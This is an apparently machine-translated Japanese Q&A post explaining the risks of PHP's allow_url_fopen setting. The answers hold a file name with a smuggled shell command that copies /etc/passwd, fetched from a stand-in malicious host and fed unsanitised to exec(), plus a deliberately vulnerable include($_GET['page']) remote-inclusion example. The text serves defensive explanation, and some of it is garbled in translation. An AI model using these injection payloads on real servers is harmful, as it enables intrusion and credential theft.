最近読んだ file_get_contents
とHTTPSに関する記事 。
私の注意を引いた部分は次のとおりです。
もちろん、allow_url_fopen設定には、リモートファイル実行、アクセスコントロールバイパス、または情報漏えい攻撃を有効にする別のリスクもあります。攻撃者が選択したリモートURIをファイル機能に挿入できる場合、アプリケーションを操作して、信頼されていないリモートソースからのファイルを含め、フェッチされたファイルを実行、保存、または表示できます。また、このようなファイルのフェッチはローカルホストから行われるため、ローカルサーバーの制限に基づくアクセス制御をバイパスできることにも注意してください。そのため、allow_url_fopenはデフォルトで有効になっていますが、セキュリティを最大限に高めるために、迷わずに無効にする必要があります。
2つの質問があります。
allow_url_fopen
で何ができ、どのようにそれを行うのですか?allow_url_fopen
は常にセキュリティリスクですか、それともfopenラッパーでユーザー入力を受け入れる場合のみですか?その他の興味深いリンク
allow_url_fopen
_を使用したサンプルの攻撃シナリオで、パスワードファイルをダウンロードできます。"http://my.malicious.example.com/sbwoodside.jpg;cp%20/etc/passwd%20downloads/foo.jpg;"
_allow_url_fopen
_を使用してファイルをダウンロードし、_"sbwoodside.jpg;cp%20/etc/passwd%20downloads/passwords.txt;"
_として保存します。これで、ファイル名にコマンドを正常に挿入できました。exec("magick convert -size 128x128 ".$filename." ".$filename.".128.jpg")
のようにImageMagickを使用しますexec
は実際に何を実行しますか?ファイル名をサニタイズしていない場合は、シェルで以下を実行します。_magick convert -size 128x128 sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt; sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt;.128.jpg
_
_;
_はシェルで区切られたコマンドであるため、シェルによって自動的に次の個別のコマンドに分割されます。
_magick convert -size 128x128 sbwoodside.jpg cp /etc/passwd downloads/passwords.txt sbwoodside.jpg cp /etc/passwd downloads/passwords.txt .128.jpg
_
そして今、私は_http://yourapp.com/downloads/passwords.txt
_にアクセスし、パスワードファイルをダウンロードします。もちろん、私はあなたのシステムであなたのウェブサーバーとしてコマンドを実行しているので、私は好きなことを何でもすることができます。
あなた次第です!アプリケーションをどのように設計し、ソフトウェア開発ライフサイクル全体でセキュリティと見なされていますか?
リクエストパラメータ(ページ)に従ってWebページをロードする以下の安全でないコードを検討してください。
<?php
include($_GET['page']);
?>
そして、攻撃者が悪意のあるPHPコードを使用して、
?page=http://example.com/badcode-php.txt
その後、あなたのサイトからすべてのセキュリティ対策を迂回して何でもできます(ローカルファイルへのアクセス、別のファイルのアップロード、etec)。
だから、それをallow_urL_fopen
およびallow_url_include
リモートファイル実行攻撃を最小限に抑える。